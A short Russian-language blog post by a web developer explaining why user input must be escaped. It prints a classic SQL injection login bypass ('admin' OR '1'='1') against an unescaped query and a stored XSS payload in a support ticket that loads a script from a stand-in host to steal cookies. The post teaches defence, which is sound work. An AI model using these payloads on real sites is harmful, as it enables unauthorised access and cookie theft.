Экранирование введенных данных и безопасность сайта

03.09.2019 18:54 ● 644 ● #Безопасность, #Программирование

Экранирование введенных пользователем данных является основной составляющей для предотвращения внедрения вредоносного скрипта и безопасности сайта. Важно понимать, что даже самые современные технические решения можно обойти, если не выполнять основные правила.


Основные возможности для внедрения скрипта:

  • через комментарии к статьям;
  • через тикеты при обращении в службу техподдержки;
  • через формы для ввода (обратная связь, авторизация, подписка и прочее).


Как же это происходит?


Пример при авторизации.


Если сайт не использует готовые решения в виде фреймворка и не производит экранирование, то злоумышленнику достаточно дополнить логин командой SQL запроса, чтобы попасть в админскую панель.

Допустим у нас есть такая проверка на логин и пароль и при этом не использовано экранирование введенных данных.

"SELECT * FROM users WHERE login='$login' AND password='$password'"

В таком случае пользователю достаточно вместо логина ввести:

admin' OR '1'='1

Этого достаточно, чтобы сработало условие и пароль уже не будет иметь значение. Это именно тот случай, когда экранирование строго обязательно.


Пример при написании тикета.


Основная опасность заключается в прикрепленных файлах, которые отображаются прямо на странице с просмотром тикета у пользователя. Как вариант можно ограничить загрузку файлов только изображениями.


Однако, это не решает всех проблем. Злоумышленник может сделать так:

Здравствуйте. У меня проблема с сайтом.<script src='http://vvvirus.vv/vscript.js'></script>


Естественно после публикации тикета он отобразится в списке у пользователя и помимо отображения текста сработает скрипт, указанный в сообщении. А содержимое скрипта может быть самым различным. В основном они работают с cookies'ами пользователя, что может позволить проникнуть в любую директорию сайта.


Не забывайте про безопасность своего сайта, но помните, что самую главную уязвимость представляет сам человек, ведь средства социальной инженерии никто не отменял. А это, между прочим, самый популярный способ взлома.

Автор

Юрий Смирнов

Разработчик и автор блога.
Комментарии